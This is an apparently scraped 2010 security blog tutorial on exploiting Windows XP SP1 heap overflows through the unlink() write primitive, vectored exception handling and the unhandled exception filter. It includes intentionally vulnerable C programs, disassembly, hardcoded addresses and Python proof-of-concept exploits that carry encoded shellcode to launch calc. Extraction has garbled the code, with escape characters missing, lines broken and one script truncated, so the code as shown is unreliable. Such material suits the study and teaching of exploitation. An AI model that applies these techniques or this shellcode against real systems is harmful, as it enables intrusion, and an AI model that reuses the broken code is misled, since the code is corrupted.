Heap overflows for humans – 101

1
mr_me's IT security blog
Exploiting, Reversing, Fuzzing, Code Analysis and Web Application Security
Heap Overflows For Humans – 101
mr_me · Sunday, October 24th, 2010
We have talked previously about stack based buffer overflows and format strings
vulnerabilities. Now it is time to take it a step further and play with the windows heap
manager!
Unlink() to execute a write 4 primitive
Previously, with stack overflows, we have gained control of the execution pointer (EIP)
some how whether that be through the exception handler or directly. Today we are
going to discuss a series of techniques that have been tried and tested in time that
gain control of execution without directly using EIP or SEH. By overwriting at a
location in memory of our choice, with a controlled value, we are able to achieve an
arbitary DWORD overwrite.
If you are unfamilair with stack based buffer overflows to an intermediate/advanced
level then it is suggested that you focus in this area first. What we are about to cover,
has been dead and buried for a while, so if you are looking for newer techniques to
exploit the windows heap manager, dont stick around
What you will need:
Windows XP with just sp1 installed.q
A debugger (Olly Debugger, Immunity Debugger, windbg etc).q
A c/c++ compilier (Dev C++, lcc-32, MS visual C++ 6.0 (if you can still get it)).q
A scripting language of ease (I use python, maybe you can use perl).q
A brain (and/or persistance).q
Some knowledge of Assembly, C and knowledge on how to dig through a debuggerq
HideDbg under Olly Debugger (plugin) or !hidedebug under immunity debuggerq
Time.q
We are going to focus on the core basics and fundementals. The techniques presented
will most probably be too old to use in the “real world” however it must always be
reminded that if you want to move forward, one must know the past. And learn from it.
Ok lets begin!
What is the heap and how does it work under XP?
mr_me's IT security blog - 1 / 12 - 10.01.2011

2
The heap is a storage of area where a process can store data. Each process
dynamically allocates and deallocates heap memory based on the requirements of the
application and are globally accessible. It is important to point out that the stack
grows towards 0×00000000 and yet the heap grows towards 0xFFFFFFFF. This
means that if a process was to call HeapAllocate() twice, the second call would return
a pointer that is higher than the first. Therefore any overflow of the first block will
overflow into the second block.
Every process whether its the default process heap or a dynamically allocated heap
will contain multiple data structures. One of those data structures is an array of 128
LIST_ENTRY structures that keeps track of free blocks. This is known as the
FreeLists. Each list entry holds two pointers and the beginning of this array can
be found at offset 0×178 bytes into the heap structure. When a heap is created, two
pointers which point to the first free block of memory available for allocation are
set at FreeLists[0]. At the address that these two pointers point to (The beginning of
the first available block) are two pointers that point to FreeLists[0].
Let that sink in, and then think about this.
Assuming we have a heap with a base address of 0×00650000 and the first availble
block is located at 0×00650688 then we can assume the following four addresses:
At address 0×00650178 (Freelist[0].Flink) is a pointer with the value of 0×006506881.
(Our first free block)
A address 0x006517c (FreeList[0].Blink) is a pointer with the value of 0×00650688 (Our2.
first free block)
At address 0×00650688 (Our first free block) is a pointer with the value of 0×006501783.
(FreeList[0])
At address 0x0065068c (Our first free block) is a pointer with the value of 0×006501784.
(FreeList[0])
When an allocation occurs, the FreeList[0].Flink and FreeList[0].Blink
pointers are updated to point to the next free block that will be allocated.
Furthermore the two pointers that point back to the FreeList are moved to the
end of the newly allocated block. Every allocation or free, these pointers are
updated. Therefore, these allocations are tracked in a doubly linked list.
When a heap buffer is overflowed into the heap control data, the updating of these
pointers allows the arbitrary dword overwrite. An attacker at this point has the
opportunity to modify program control data such as function pointers and thus gain
control of the processes path of execution.
Exploiting Heap Overflows using Vectored Exception
Handling
First, lets begin with our heap-veh.c code:

3
 
#include <windows.h> 
#include <stdio.h>
 DWORD MyExceptionHandler(void); 
int foo(char *buf);
 int main(int argc, char *argv[]) 
{ 
HMODULE l; 
l = LoadLibrary("msvcrt.dll"); 
l = LoadLibrary("netapi32.dll"); 
printf("nnHeapoverflow program.n"); 
if(argc != 2) 
return printf("ARGS!"); 
foo(argv[1]); 
return 0; 
}
 DWORD MyExceptionHandler(void) 
{ 
printf("In exception handler...."); 
ExitProcess(1); 
return 0; 
}
 int foo(char *buf) 
{ 
HLOCAL h1 = 0, h2 = 0; 
HANDLE hp;
 __try{ 
hp = HeapCreate(0,0x1000,0x10000); 
if(!hp){ 
return printf("Failed to create heap.n"); 
} 
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
 printf("HEAP: %.8X %.8Xn",h1,&h1);
 // Heap Overflow occurs here: 
strcpy(h1,buf);
 // This second call to HeapAlloc() is when we gain con
trol 
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); 
printf("hello"); 
} 
__except(MyExceptionHandler()) 
{ 
printf("oops..."); 
} 
return 0; 
}

4
From the above code, we can see that their will be exception handling due to the __try
block statement. Begin by compiling the code with your favourite ompiler under
Windows XP SP1.
Run the application on the command line, notice how it takes over 260 bytes as an
argv and the exception handler kicks in.
Now of course when we run this in the debugger, we gain control of the second
allocation (because freelist[0] is being updated with our attack string from the first
allocation). Look:
MOV DWORD PTR DS:[ECX],EAX
MOV DWORD PTR DS:[EAX+4],ECX
These instructions are saying “Make the current value of EAX the pointer of ECX and
make the current value of ECX the value of EAX at the next 4 bytes”. From this we
know we are unlinking or freeing of the first allocated memory block. So essentially it
means:
EAX (what we write) : Blink1.
ECX (location of where to write) : Flink2.
So what is the vectored exception handling?
vectored exception handling was introduced to windows XP when it was first released
and stores exception registration structures on the heap. Unlike traditional frame
exception handling such as SEH that stores its structure on the stack. This type of
exception is called before any other frame based exception handling, The following
struture dispicts the layout:
struct _VECTORED_EXCEPTION_NODE 
{ 
DWORD m_pNextNode;

5
DWORD m_pPreviousNode; 
PVOID m_pfnVectoredHandler; 
}
All that you need to know is that the m_pNextNode points to the next
_VECTORED_EXCEPTION_NODE structure therefore we must overwrite the pointer to
_VECTORED_EXCEPTION_NODE (m_pNextNode) with our fake pointer. But what do
we overwrite it with? lets take a look at the code that is responsible for dispatching
the _VECTORED_EXCEPTION_NODE:
77F7F49E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210]
77F7F4A4 EB 0E JMP SHORT ntdll.77F7F4B4
77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9 50 PUSH EAX
77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8]
so we MOV the pointer of _VECTORED_EXCEPTION_NODE into ESI and then shortly
after we call ESI + 8. If we set the next pointer of _VECTORED_EXCEPTION_NODE to
our a pointer of our shellcode – 0×08, then we should land very neatly into our buffer.
Where do we find a pointer to our shellcode? Well there is one on the stack :0) see:
We can see our pointer to our shellcode on the stack. Ok no stress, lets use this
hardcoded value 0x0012ff40. Except remember the call esi+8? well lets make sure we
hit right on target for our shellcode so 0x0012ff40 – 0×08 = 0x0012ff38. Excellant so
ECX is going to be set to 0x0012ff38.
How do we find the m_NextNode (pointer to next _VECTORED_EXCEPTION_NODE)?
Well in Olly (or immunity debugger) we can parse our exception so far using shift+f7
and try and continue the through the code. The code will setup for the call to the first
_VECTORED_EXCEPTION_NODE and as such will reveal the pointer at:
77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210
77F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI
77F60C37 0F85 48E80100 JNZ ntdll.77F7F485
You can see that the code is moving the m_pNextNode (our pointer that we need) into
EDI. Excellant, lets set EAX to that value.

6
So as it stands, we have the following values set:
ECX = 0x77fc3210
EAX = 0x0012ff38
But of course we need our offsets to EAX and ECX, so we just create an MSF pattern
and feed it into the application. Here is a quick reminder for your viewing pleasure:
Step 1 – Create msf pattern.
Step 2 – Feed it to the target application
Step 3 – Calculate offsets by turning on anti-debugging and triggering the exception
Ok so here is a skeleton PoC exploit:
 
import os 
# _vectored_exception_node

7
exploit = ("xcc" * 272) 
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04 
# due to second MOV writes to EAX+4 == 0x77fc320c 
exploit += ("x0cx32xfcx77") # ECX 
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38 
exploit += ("x38xffx12") # EAX - we dont need the null b
yte 
os.system('"C:Documents and SettingsSteveDesktopodbg110
OLLYDBG.EXE" heap-veh.exe ' + exploit) 
Now at this stage we cannot have shellcode after our ECX instruction because it
contains a null byte, you may remember this from my previous tutorial Debugging an
SEH 0day. This may not always be the case as in this example we are using a strcpy to
store our buffer in the heap.
Ok so at this point we hit out software breakpoints at “xcc” and can simply replace
this with some shellcode. The shellcode must not be more than 272 bytes as this is the
only spot to place our shellcode.
 
# _vectored_exception_node 
import os 
import win32api 
calc = ("xdaxcbx2bxc9xd9x74x24xf4x58xb1x32xbbxfaxc
d" + 
"x2dx4ax83xe8xfcx31x58x14x03x58xeex2fxd8xb6"
+ 
"xe6x39x23x47xf6x59xadxa2xc7x4bxc9xa7x75x5c"
+ 
"x99xeax75x17xcfx1ex0ex55xd8x11xa7xd0x3ex1f"
+ 
"x38xd5xfexf3xfax77x83x09x2ex58xbaxc1x23x99"
+ 
"xfbx3cxcbxcbx54x4ax79xfcxd1x0ex41xfdx35x05"
+ 
"xf9x85x30xdax8dx3fx3ax0bx3dx4bx74xb3x36x13"
+ 
"xa5xc2x9bx47x99x8dx90xbcx69x0cx70x8dx92x3e"
+ 
"xbcx42xadx8ex31x9axe9x29xa9xe9x01x4ax54xea"
+ 
"xd1x30x82x7fxc4x93x41x27x2cx25x86xbexa7x29"
+ 
"x63xb4xe0x2dx72x19x9bx4axffx9cx4cxdbxbbxba"
+ 
"x48x87x18xa2xc9x6dxcfxdbx0axc9xb0x79x40xf8"
+

8
"xa5xf8x0bx97x38x88x31xdex3ax92x39x71x52xa3"
+ 
"xb2x1ex25x3cx11x5bxd9x76x38xcax71xdfxa8x4e"
+ 
"x1cxe0x06x8cx18x63xa3x6dxdfx7bxc6x68xa4x3b"
+ 
"x3ax01xb5xa9x3cxb6xb6xfbx5ex59x24x67xa1x93")

exploit = ("x90" * 5) 
exploit += (calc) 
exploit += ("xcc" * (272-len(exploit))) 
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04 
# due to second MOV writes to EAX+4 == 0x77fc320c 
exploit += ("x0cx32xfcx77") # ECX 
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38 
exploit += ("x38xffx12") # EAX - we dont need the null b
yte 
win32api.WinExec(('heap-veh.exe %s') % exploit, 1) 
Exploiting Heap Overflows using the Unhandled Exception
Filter
The Unhandler Exception Filter is the last exception to be called before an application
closes. It is responsible for dispatching of the very common message “An unhandled
error occured” when an application suddenly crashes. Up until this point, we have
gotten to the stage of controlling EAX and ECX and knowing the offset location to both
registers:
 
import os 
exploit += ("x41" * 4) # ECX 
exploit += ("x42" * 4) # EAX 
exploit += ("xcc" * 272) 
OLLYDBG.EXE" heap-uef.exe ' + exploit) 
Unlike the previous example, our heap-uef.c file contains no traces of a custom
exception handler defined. This means we are going to exploit the application using
Microsofts default Unhandled Exception Filter. Below is the heap-uef.c file:
 
#include <stdio.h> 
#include <windows.h>
 int foo(char *buf); 
int main(int argc, char *argv[]) 
{

9
HMODULE l; 
l = LoadLibrary("msvcrt.dll"); 
l = LoadLibrary("netapi32.dll"); 
printf("nnHeapoverflow program.n"); 
if(argc != 2) 
return printf("ARGS!"); 
foo(argv[1]); 
return 0; 
}
 int foo(char *buf) 
{ 
HLOCAL h1 = 0, h2 = 0; 
HANDLE hp;
 hp = HeapCreate(0,0x1000,0x10000); 
if(!hp) 
return printf("Failed to create heap.n"); 
printf("HEAP: %.8X %.8Xn",h1,&h1);
 // Heap Overflow occurs here: 
strcpy(h1,buf);
 // We gain control of this second call to HeapAlloc 
printf("hello"); 
return 0; 
} 
When debugging this type of overflow, its important to turn anti debugging on within
Olly or Immunity Debugger so that our Exception Filter is called and offsets are at the
correct location. Ok so first of all, we must find where we are going to write our dword
too. This would be the pointer to Unhandled Exception Filter. This can be found by
going looking at the code at SetUnhandledExceptionFilter().
It can be see that a MOV instruction uses a pointer to UnhandledExceptionFilter
(0x77ed73b4):

10
So at this point, we can saftley say that ECX will contain the value 0x77c3bbad. But
now what are we going to write? lets take a look at what happens when the
UnhandledExceptionFilter is called:
77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4]
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX
Basically, the pointer to UnhandledExceptionFilter() is parsed into EAX and a push
EDI, then call EAX executes. Similar to Vectored Exception Handling (except the
complete opposite ), we can overwrite the pointers value. This pointer will then
point to our shellcode, or an instruction that will get us back to our shellcode.
If we take a look at EDI, we will notice a pointer after 0×78 bytes to the bottom of our
payload (8 bytes off the bottom of our payload).
So if we simply call this pointer, we will be executing our shellcode. Therefore we
need an instruction in EAX such as:
call dword ptr ds:[edi+74]
This instruction is easily found in many MS modules under XP sp1.
So then lets fill in these values into our PoC and see where we land:
 
import os

11
exploit += ("xadxbbxc3x77") # ECX 0x77C3BBAD --> cal
l dword ptr ds:[EDI+74] 
exploit += ("xb4x73xedx77") # EAX 0x77ED73B4 --> Unh
andledExceptionFilter() 
exploit += ("xcc" * 272) 
OLLYDBG.EXE" heap-uef.exe ' + exploit) 
Of course we simply calculate the offset to this part of the shellcode and insert our
JMP instruction code and insert our shellcode:
 
import os
calc = ("x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9
" 
"x44x80xc2x77" # address to WinExec() 
"xFFxD1x90x90")
exploit = ("x44" * 264) 
exploit += "xebx14" # our JMP (over the junk and into nop
s) 
exploit += ("x44" * 6) 
exploit += ("xadxbbxc3x77") # ECX 0x77C3BBAD --> cal
l dword ptr ds:[EDI+74] 
exploit += ("xb4x73xedx77") # EAX 0x77ED73B4 --> Unh
andledExceptionFilter() 
exploit += ("x90" * 21) 
exploit += calc
os.system('heap-uef.exe ' + exploit) 
Boom !

12
Conclusion:
We have demonstrated two techniques for exploiting unlink() in its most primitive
form under windows XP sp1. Other techniques can also apply such as
RtlEnterCriticalSection or TEB Exception Handler exploitation in the same situation.
Following on from here we will present exploiting Unlink() (HeapAlloc/HeapFree)
under Windows XP sp2 and 3 and bypass windows protections against the heap.
PoC’s:
http://www.exploit-db.com/exploits/12240/q
http://www.exploit-db.com/exploits/15957/q
References:
The shellcoder’s handbook (Chris Anley, John Heasman, FX, Gerardo Richarte)1.
David Litchfield2.
(http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchf
ield.ppt)
This entry was posted on Sunday, October 24th, 2010 at 2:30 pm and is filed under
exploit development
You can follow any responses to this entry through the Comments (RSS) feed. You can
leave a response, or trackback from your own site.

Heap overflows for humans – 101

More Related Content

What's hot

What's hot (20)

Viewers also liked

Viewers also liked (8)

Similar to Heap overflows for humans – 101

Similar to Heap overflows for humans – 101 (20)

Recently uploaded

Recently uploaded (20)

Heap overflows for humans – 101